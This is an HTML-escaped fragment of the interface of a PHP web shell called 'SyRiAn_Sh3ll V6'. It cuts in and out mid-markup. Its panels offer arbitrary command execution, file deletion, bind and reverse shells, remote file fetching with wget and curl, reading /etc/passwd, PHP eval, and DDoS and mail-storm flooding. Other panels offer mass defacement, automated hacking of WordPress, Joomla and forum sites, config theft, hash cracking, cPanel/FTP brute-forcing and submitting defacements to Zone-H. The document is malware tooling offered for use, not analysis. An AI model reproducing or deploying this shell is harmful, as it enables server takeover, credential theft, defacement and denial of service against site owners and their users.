&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0' id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Commands Alias &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;&quot;;SelectCommand($os); echo &quot;&lt;input name='submitCommands' type='submit' value='ExecuteCommand'&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Commands Alias--&gt;
&lt;/td&gt;
&lt;td width='30%' height='30'&gt;
&lt;!-- Command Line --&gt;
&lt;form method='POST'&gt;
&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Command Line &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' name='cmd' id='commandLine' value='&quot;;
if($os == 'Windows')
echo &quot;dir&quot;;
else echo 'ls -lia';
echo &quot;' size='59'&gt;
&lt;input type='text' name='directory' value='&quot;.getcwd().&quot;' size='59'&gt;
&lt;input name='Execute' id='Execute' type='submit' value='Execute' &gt;
&lt;input name='helpCommands' id='helpCommands' type='submit' value='?' &gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Command Line --&gt;
&lt;/td&gt;
&lt;td width='30%' height=30&gt;
&lt;!-- Files &amp; Folders Handling --&gt;
&lt;form method='POST'&gt;
&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Files &amp; Folders Handling &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' name='editFile' id='editFile' size='25' value='index.txt'&gt;
&lt;select name='actionType' id='actionType' onchange='ChangeInputs();'&gt;
&lt;option value='edit'&gt;Edit&lt;/option&gt;
&lt;option value='rename'&gt;Rename&lt;/option&gt;
&lt;option value='copy'&gt;Copy&lt;/option&gt;
&lt;option value='deleteFolder'&gt;Delete Folder&lt;/option&gt;
&lt;option value='deleteFile'&gt;Delete File&lt;/option&gt;
&lt;option value='createFile'&gt;Create File&lt;/option&gt;
&lt;option value='createFolder'&gt;Create Folder&lt;/option&gt;
&lt;option value='zip'&gt;Zip&lt;/option&gt;
&lt;option value='unzip'&gt;UnZip&lt;/option&gt;
&lt;option value='tar'&gt;Tar&lt;/option&gt;
&lt;option value='untar'&gt;UnTar&lt;/option&gt;
&lt;option value='gz'&gt;GZ&lt;/option&gt;
&lt;option value='ungz'&gt;unGZ&lt;/option&gt;

&lt;/select&gt;
&lt;input type='hidden' name='currentPath' value='&quot;.getcwd().&quot;' /&gt;
&lt;input name='editFileSubmit' type='submit' value='Do'&gt;
&lt;div id='newName'&gt;&amp;nbsp;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- Files &amp; Folders Handling --&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width='30%'&gt;
&lt;!-- Chmod Force --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;CH Commands&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' name='fileName' value='index.php' size='28'&gt;
&lt;input type='text' name='per' value='0644' size='10'&gt;
&lt;select name='ChCommands'&gt;
&lt;option value='chmod'&gt;CHMODE&lt;/option&gt;
&lt;option value='chown'&gt;CHOWN&lt;/option&gt;
&lt;option value='chgrp'&gt;CHGRP&lt;/option&gt;
&lt;/select&gt;
&lt;input type='submit' value='Change Now !' name='changePermission'&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Chmod Force --&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;!-- Get File --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Get File &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' name='fileUrl' size='59' value='http://www.'&gt;
&lt;select name='getType'&gt;
&lt;option value='auto'&gt;Auto&lt;/option&gt;
&lt;option value='wget'&gt;wget&lt;/option&gt;
&lt;option value='curl -o'&gt;curl -o&lt;/option&gt;
&lt;option value='get'&gt;get&lt;/option&gt;
&lt;option value='lynx -source'&gt;lynx -source&lt;/option&gt;
&lt;/select&gt;
&lt;input name='getFile' type='submit' value='Get File' &gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Get File --&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;!-- Bind Connection --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0' id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Bind Connection &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' name='port' size='10' value='443'&gt;
&lt;select class='inputz' size='1' name='use' id='bind_select' onchange='viewPass();'&gt;
&lt;option value='php1'&gt;PHP[1]&lt;/option&gt;
&lt;option value='php2'&gt;PHP[2]&lt;/option&gt;
&lt;option value='perl1-linux'&gt;Perl[1] Linux &amp; Pass&lt;/option&gt;
&lt;option value='perl2-linux'&gt;Perl[2] Linux&lt;/option&gt;
&lt;option value='perl3-win'&gt;Perl[3] WIN&lt;/option&gt;
&lt;option value='c1-linux'&gt;C[1] Linux&lt;/option&gt;
&lt;/select&gt; 
&lt;input class='inputzbut' type='submit' name='bind' value='Bind' /&gt;
&lt;div id='view_bind_pass'&gt;&amp;nbsp;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Bind Connection --&gt;	
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;!-- CGI Scripts --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;CGI Scripts &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' value='&quot;.getcwd().&quot;' name='cgiperlPath' size='35'&gt;
&lt;select name='cgiType' &gt;
&lt;option value='cgiPerl' &gt;CGI Perl&lt;/option&gt;
&lt;option value='cgiPaython' &gt;CGI Paython&lt;/option&gt;
&lt;option value='cgiUsers' &gt;CGI Users&lt;/option&gt;
&lt;/select&gt;
&lt;input type='submit' name='generatePel' value='Generate'&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of CGI Scripts --&gt;
&lt;/td&gt;&lt;td&gt;
&lt;!-- Forbidden --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Forbidden &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' value='&quot;.getcwd().&quot;' name='forbiddenPath' size='70%'/&gt;
&lt;select name='403'&gt;
&lt;option value='DirectoryIndex'&gt;DirectoryIndex&lt;/option&gt;
&lt;option value='HeaderName'&gt;HeaderName&lt;/option&gt;
&lt;option value='TXT'&gt;TXT&lt;/option&gt;
&lt;option value='404'&gt;404&lt;/option&gt;
&lt;option value='ReadmeName'&gt;ReadmeName&lt;/option&gt;
&lt;option value='footerName'&gt;footerName&lt;/option&gt; 
&lt;/select&gt;
&lt;input type='submit' value='Generate' name='generateForbidden'&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Forbidden --&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;!-- Back Connection --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Back Connection &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' name='ip' size='26' value='&quot;.GetRealIP().&quot;'&gt;
&lt;input type='text' name='backport' size='10' value='443'&gt;
&lt;select name='use' id='back_select' onchange='viewPass();'&gt;
&lt;option value='php1'&gt;PHP[1]&lt;/option&gt;
&lt;option value='php2'&gt;PHP[2]&lt;/option&gt;
&lt;option value='php3-win'&gt;PHP[3] WIN&lt;/option&gt;
&lt;option value='php3-linux'&gt;PHP[3] Linux&lt;/option&gt;
&lt;option value='php4'&gt;PHP[4]&lt;/option&gt;
&lt;option value='perl1'&gt;Perl[1]&lt;/option&gt;
&lt;option value='perl2'&gt;Perl[2] Pass&lt;/option&gt;
&lt;option value='perl3-win'&gt;Perl[3] WIN&lt;/option&gt;
&lt;option value='perl4-linux'&gt;Perl[4] Linux&lt;/option&gt;
&lt;option value='c1'&gt;C[1]&lt;/option&gt;
&lt;/select&gt; 
&lt;div id='view_pass'&gt;&amp;nbsp;&lt;/div&gt;
&lt;input type='submit' name='backconn' value='Connect'&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Back Connection --&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;!-- Reading Files --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Reading Files &amp; Dir Using PHP Bugs &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' value='/etc/passwd' name='file' size='33'&gt;
&lt;input class='buttons' type='submit' name='read' value='Read File'&gt;
&lt;input class='buttons' type='submit' name='show' value='Show directory'&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Reading Files --&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;!-- Eval Code --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Scanners And Strings Tools &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' id='php_eval' name='php_eval' size='50' value='&lt;?php echo \&quot;SyRiAn_Sh3ll V6\&quot;; ?&gt;' /&gt; 
&lt;select id='evalOrEnc' name='evalOrEnc' onchange='evalOrEnc2();'&gt;
&lt;option value='eval'&gt;Eval Code&lt;/option&gt;
&lt;option value='enc'&gt;Encryption&lt;/option&gt;
&lt;option value='analyze'&gt;Analyze&lt;/option&gt;
&lt;option value='scan'&gt;Scan Ports&lt;/option&gt;
&lt;option value='genServ'&gt;Server Shortcut&lt;/option&gt;
&lt;option value='sqlScanner'&gt;SQL Scanner&lt;/option&gt;
&lt;option value='uploadLFI'&gt;Shell Uploader LFI&lt;/option&gt;
&lt;option value='DirectUser'&gt;User [DirectAdmin]&lt;/option&gt;
&lt;/select&gt;
&lt;input type='submit' name='submitEval' value='~Do~'&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Eval Code --&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;!-- Metasploit RC --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Metasploit Connection &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' size='40' name='ip' value='127.0.0.1'&gt;
&lt;input type='text' size='5' name='port' value='443'&gt;
&lt;input type='submit' value='Connect' name='metaConnect'&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Metasploit RC --&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
&lt;!-- DDOS Attacker --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;DDOS Attacker &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' name='ipToAttack' size='30' value='http://google.com/'&gt;
&lt;select name='DDOSType'&gt;
&lt;option value='tcp' &gt;TCP&lt;/option&gt;
&lt;option value='udp' &gt;UDP&lt;/option&gt;
&lt;/select&gt;
&lt;input type='submit' name='StartAttack' value='Attack'&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of DDOS Attacker --&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;!-- Upload Files --&gt;
&lt;form enctype=\&quot;multipart/form-data\&quot; method=\&quot;POST\&quot;&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Upload Files &lt;input type='button' value='+' id='addUpload' size='5' onclick='addUploadInput();'&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='file' name='uploadfile[]'&gt;&lt;input type='file' name='uploadfile[]'&gt;
&lt;div id='uploadInput'&gt;&lt;/div&gt;
&lt;input type='hidden' name='uploadingDir' value='&quot;.getcwd().&quot;'/&gt;
&lt;input type='submit' value='Upload Files' name='UploadNow'&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Upload Files --&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;!-- ACP Finder --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;ACP Finder &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input name='hash_lol' class='textbox' type='text' size='38' value='http://www.example.com/'/&gt;
&lt;input type='text' value='.php' name='extention' size='5'/&gt;
&lt;input name='submit_lol' class='textbox' value='BruteForce Now' type='submit'&gt;
&lt;!-- End Of ACP Finder --&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td valign='top'&gt;
&lt;!-- SQL Reader --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Mass Defacement&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' name='massDir' id='massDir' value='&quot;.getcwd().&quot;' size='45' /&gt;
&lt;input type='text' name='massFileName' id='massFileName' value='index.html' size='15' /&gt;&lt;br&gt;
&lt;input type='text' name='massIndex' id='massDir' value='Hacked By SyRiAn_34G13' size='70' /&gt;&lt;br&gt;
&lt;input type='submit' name='massDefaceNow' value='Deface Now' /&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of SQL Reader  --&gt;
&lt;/td&gt;
&lt;td valign='top'&gt;
&lt;!-- MD5 Cracker --&gt;
&lt;form method='POST' name='nst'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;MD5 Cracker&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input name='pass' size='80' value='md5 hash'&gt;&lt;br&gt;
&lt;input type='text' name='chars' value='Chars' size='80' /&gt;&lt;br&gt;
&lt;input type='submit' value='Crack' name='CrackMd5'&gt; &lt;font color=gray&gt;EN:&lt;/font&gt;
&lt;a href=javascript:ins('abcdefghijklmnopqrstuvwxyz')&gt;a-z&lt;/a&gt;
&lt;a href=javascript:ins('ABCDEFGHIJKLMNOPQRSTUVWXYZ')&gt;A-Z&lt;/a&gt;
&lt;a href=javascript:ins('0123456789')&gt;0-9&lt;/a&gt;
&lt;a href=javascript:ins(\&quot;~`'\!#$%^&amp;*()-_+=|/?&amp;gt;&lt;[]{}:&amp;nbsp;.,\&amp;quot;\&quot;)&gt;Symbols&lt;/a&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of MD5 Cracker --&gt;
&lt;/td&gt;
&lt;td valign='top'&gt;
&lt;!-- Fast Tools --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Fast Tools &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;select name='someAction'&gt;
&lt;option value='genHtaccess'&gt;Generate .Htaccess&lt;/option&gt;
&lt;option value='genPhp'&gt;Generate PHP.INI&lt;/option&gt;
&lt;option value='genINI'&gt;Generate INI.PHP&lt;/option&gt;
&lt;option value='findCon'&gt;Get Configs PHP&lt;/option&gt;
&lt;option value='findConPerl'&gt;Get Configs Perl&lt;/option&gt;
&lt;option value='showUsers'&gt;Show Users&lt;/option&gt;
&lt;option value='DOSServer1'&gt;DOS Server 1&lt;/option&gt;
&lt;option value='DOSServer2'&gt;DOS Server 2&lt;/option&gt;
&lt;option value='headers'&gt;Show Headers&lt;/option&gt;
&lt;/select&gt;
&lt;input type='submit' value='Do Action' name='doAction'&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Fast Tools --&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign='top'&gt;
&lt;!-- SQL Magic --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;SQL&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type = 'text' name='QU_HOST' value='127.0.0.1'&gt;
&lt;input type = 'text' name='QU_USER' value='DB User'&gt;&lt;br/&gt;
&lt;input type = 'text' name='QU_PASS' value='DB Pass'&gt;
&lt;input type='text' name='QU_DB' value='DB Name' &gt;
&lt;select id='SQLType' name='SQLType' onchange='ChangeSQLType();'&gt;
&lt;option value='SQLQuery'&gt;SQL Query&lt;/option&gt;
&lt;option value='SQLReader'&gt;SQL Reader&lt;/option&gt;
&lt;option value='EmailExtractor'&gt;Email Extractor&lt;/option&gt;
&lt;/select&gt;
&lt;div id='inputType' &gt;&amp;nbsp;&lt;/div&gt;
&lt;input name='MySQLQuery' type='submit'&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- SQL Query  --&gt;
&lt;/td&gt;
&lt;td valign='top'&gt;
&lt;!-- AutoMatic Hacking --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Automatic Hacking&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;input type='text' value='domain.com' id='domain' name='domainToHack' size='45'  onblur='Blur(\&quot;domain\&quot;,\&quot;domain.com\&quot;);' onclick='Clear(\&quot;domain\&quot;,\&quot;domain.com\&quot;);'  &gt;
&lt;input type='text' value='/vb' name='scriptPath' size='10'&gt;
&lt;select name='ScriptType' &gt;
&lt;option value='vb'&gt;VBulletin&lt;/option&gt;
&lt;option value='wp'&gt;WordPress&lt;/option&gt;
&lt;option value='jos'&gt;Joomla&lt;/option&gt;
&lt;option value='ipb'&gt;IP.Board&lt;/option&gt;
&lt;option value='phpbb'&gt;PHPBB&lt;/option&gt;
&lt;option value='mybb'&gt;MyBB&lt;/option&gt;
&lt;option value='smf'&gt;SMF&lt;/option&gt;
&lt;/select&gt;&lt;br /&gt;
&lt;input type='hidden' name='autoHackDir' /&gt;
&lt;textarea name='index' cols='50' rows='5' id='Index'  onblur='Blur(\&quot;Index\&quot;,\&quot;Hacked By SyRiAn_34G13\&quot;);' onclick='Clear(\&quot;Index\&quot;,\&quot;Hacked By SyRiAn_34G13\&quot;);' &gt;Hacked By SyRiAn_34G13&lt;/textarea&gt;
&lt;input type='submit' name='AutoHackNow' value='Hack Now' /&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Email Extractor --&gt;
&lt;/td&gt;
&lt;td valign='top'&gt;
&lt;!-- Mail Storm --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Mail Storm &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
&lt;textarea rows='6' cols='45' name='Comments' id='Comments' onblur='Blur(\&quot;Comments\&quot;,\&quot;Attacker Message\&quot;);' onclick='Clear(\&quot;Comments\&quot;,\&quot;Attacker Message\&quot;);' &gt;Attacker Message&lt;/textarea&gt;
&lt;input type='text' name='to' value='Target Email' id='to' size='35'  onblur='Blur(\&quot;to\&quot;,\&quot;Target Email\&quot;);' onclick='Clear(\&quot;to\&quot;,\&quot;Target Email\&quot;);' &gt;
&lt;input type='text' size='5' name='nom' value='100'&gt;
&lt;input name='sendMailStorm' type='submit' value='Send Mail Storm ' &gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Mail Storm --&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign='top'&gt;
&lt;!-- Zone-H --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Zone-H Defacer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;&quot;;
echo '&lt;form method=&quot;post&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;defacer&quot; size=&quot;70&quot; value=&quot;SyRiAn_34G13&quot; /&gt;
&lt;select name=&quot;hackmode&quot;&gt;
&lt;option &gt;--------SELECT--------&lt;/option&gt;
&lt;option value=&quot;1&quot;&gt;known vulnerability (i.e. unpatched system)&lt;/option&gt;
&lt;option value=&quot;2&quot; &gt;undisclosed (new) vulnerability&lt;/option&gt;
&lt;option value=&quot;3&quot; &gt;configuration / admin. mistake&lt;/option&gt;
&lt;option value=&quot;4&quot; &gt;brute force attack&lt;/option&gt;
&lt;option value=&quot;5&quot; &gt;social engineering&lt;/option&gt;
&lt;option value=&quot;6&quot; &gt;Web Server intrusion&lt;/option&gt;
&lt;option value=&quot;7&quot; &gt;Web Server external module intrusion&lt;/option&gt;
&lt;option value=&quot;8&quot; &gt;Mail Server intrusion&lt;/option&gt;
&lt;option value=&quot;9&quot; &gt;FTP Server intrusion&lt;/option&gt;
&lt;option value=&quot;10&quot; &gt;SSH Server intrusion&lt;/option&gt;
&lt;option value=&quot;11&quot; &gt;Telnet Server intrusion&lt;/option&gt;
&lt;option value=&quot;12&quot; &gt;RPC Server intrusion&lt;/option&gt;
&lt;option value=&quot;13&quot; &gt;Shares misconfiguration&lt;/option&gt;
&lt;option value=&quot;14&quot; &gt;Other Server intrusion&lt;/option&gt;
&lt;option value=&quot;15&quot; &gt;SQL Injection&lt;/option&gt;
&lt;option value=&quot;16&quot; &gt;URL Poisoning&lt;/option&gt;
&lt;option value=&quot;17&quot; &gt;File Inclusion&lt;/option&gt;
&lt;option value=&quot;18&quot; &gt;Other Web Application bug&lt;/option&gt;
&lt;option value=&quot;19&quot; &gt;Remote administrative panel access bruteforcing&lt;/option&gt;
&lt;option value=&quot;20&quot; &gt;Remote administrative panel access password guessing&lt;/option&gt;
&lt;option value=&quot;21&quot; &gt;Remote administrative panel access social engineering&lt;/option&gt;
&lt;option value=&quot;22&quot; &gt;Attack against administrator(password stealing/sniffing)&lt;/option&gt;
&lt;option value=&quot;23&quot; &gt;Access credentials through Man In the Middle attack&lt;/option&gt;
&lt;option value=&quot;24&quot; &gt;Remote service password guessing&lt;/option&gt;
&lt;option value=&quot;25&quot; &gt;Remote service password bruteforce&lt;/option&gt;
&lt;option value=&quot;26&quot; &gt;Rerouting after attacking the Firewall&lt;/option&gt;
&lt;option value=&quot;27&quot; &gt;Rerouting after attacking the Router&lt;/option&gt;
&lt;option value=&quot;28&quot; &gt;DNS attack through social engineering&lt;/option&gt;
&lt;option value=&quot;29&quot; &gt;DNS attack through cache poisoning&lt;/option&gt;
&lt;option value=&quot;30&quot; &gt;Not available&lt;/option&gt;
&lt;/select&gt;

&lt;select name=&quot;reason&quot;&gt;
&lt;option &gt;--------SELECT--------&lt;/option&gt;
&lt;option value=&quot;1&quot; &gt;Heh...just for fun!&lt;/option&gt;
&lt;option value=&quot;2&quot; &gt;Revenge against that website&lt;/option&gt;
&lt;option value=&quot;3&quot; &gt;Political reasons&lt;/option&gt;
&lt;option value=&quot;4&quot; &gt;As a challenge&lt;/option&gt;
&lt;option value=&quot;5&quot; &gt;I just want to be the best defacer&lt;/option&gt;
&lt;option value=&quot;6&quot; &gt;Patriotism&lt;/option&gt;
&lt;option value=&quot;7&quot; &gt;Not available&lt;/option&gt;
&lt;/select&gt;
&lt;textarea name=&quot;domain&quot; cols=&quot;44&quot; rows=&quot;9&quot; id=&quot;domains&quot; onblur=&quot;Blur(\'domains\',\'List Of Domains\');&quot; onclick=&quot;Clear(\'domains\',\'List Of Domains\');&quot; &gt;List Of Domains&lt;/textarea&gt;
&lt;input type=&quot;submit&quot; value=&quot;Send Now !&quot; name=&quot;SendNowToZoneH&quot; /&gt;
&lt;/form&gt;';
echo &quot;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/form&gt;
&lt;!-- End Of Zone-H --&gt;
&lt;/td&gt;
&lt;td valign='top'&gt;
&lt;!-- Cpanel And FTP BruteForce Attacker --&gt;
&lt;form method='POST'&gt;&lt;table width='100%' height='72' border='0'  id='Box'&gt;&lt;tr&gt;
&lt;td width='4%' height='21' style='background-color:&quot;.$sh3llColor.&quot;'&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style='background-color:#666;padding-left:10px;'&gt;Cpanel And FTP BruteForce &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height='45' colspan='2'&gt;
